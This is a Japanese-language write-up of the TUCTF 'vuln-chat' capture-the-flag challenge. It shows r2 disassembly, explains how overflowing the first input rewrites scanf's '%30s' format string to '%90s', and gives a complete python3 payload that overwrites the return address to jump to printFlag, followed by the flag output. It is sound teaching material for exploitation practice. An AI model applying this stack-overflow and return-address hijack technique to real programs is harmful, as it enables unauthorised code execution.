TUCTF:vuln-chatの攻略
scanfの書式文字列を上書きし、制限付きオーバーフローから戻りアドレスを制御します。
実行するとチャットが開き、ニックネームとメッセージを求められます。
2_5_tu_vulnchat/wip$ ./vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: lala
Welcome lala!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
lala: lele
djinn: Sorry. That's not good enough
r2で開きます。
aflで関数を調べると、sym.printFlagという気になる関数があります。
0x0804856b 1 31 sym.printFlag
この関数はフラグを表示します。
┌ 31: sym.printFlag ();
│ 0x0804856b 55 push ebp
│ 0x0804856c 89e5 mov ebp, esp
│ 0x0804856e 68f0860408 push str._bin_cat_._flag.txt ; 0x80486f0 ; "/bin/cat ./flag.txt"
│ 0x08048573 e8a8feffff call sym.imp.system ; int system(const char *string)
│ 0x08048578 83c404 add esp, 4
│ 0x0804857b 6804870408 push str.Use_it_wisely ; 0x8048704 ; "Use it wisely"
│ 0x08048580 e88bfeffff call sym.imp.puts ; int puts(const char *s)
│ 0x08048585 83c404 add esp, 4
│ 0x08048588 c9 leave
└ 0x08048589 c3 ret
次にmain関数を見ます。
入力にはscanfが使われています。
問題が分からなかったのですが、ここで気付きました。
│ 0x080485be c745fb2533.. mov dword [format], 0x73303325 ; '%30s'
│ 0x080485c5 c645ff00 mov byte [var_1h], 0
│ 0x080485c9 8d45e7 lea eax, [var_19h]
さらに次の部分です。
│ 0x0804862c 8d45d3 lea eax, [var_2dh]
│ 0x0804862f 50 push eax
│ 0x08048630 8d45fb lea eax, [format]
│ 0x08048633 50 push eax ; const char *format
│ 0x08048634 e827feffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
書式%30sはローカル変数に格納されています。この変数は、最初の入力で起こせるオーバーフローの範囲内にあります。
距離は0x19-0x5、つまり20バイトで、最大30バイトを書き込めます。
そのため、2回目の入力を任意の長さにして、eipを上書きできます。
構成は次のようになります。
20 bytes of trash + %90s(for example) + remaining bytes to waste first input (6 bytes) + 49 bytes of padding + 0x0804856b
6バイトの埋め草の代わりに、\n、\x0a、 などの空白文字を使うこともできます。
$python3 -c "import sys;sys.stdout.buffer.write(b'A'*20+b'\x25\x39\x30\x73'+b'B'*6+b'C'*49+b'\x6b\x85\x04\x08')" | ./vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: Welcome AAAAAAAAAAAAAAAAAAAA%90sBBBBBB!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
AAAAAAAAAAAAAAAAAAAA%90sBBBBBB: djinn: Sorry. That's not good enough
flag{g0ttem_b0yz}
Use it wisely
Segmentation fault (core dumped)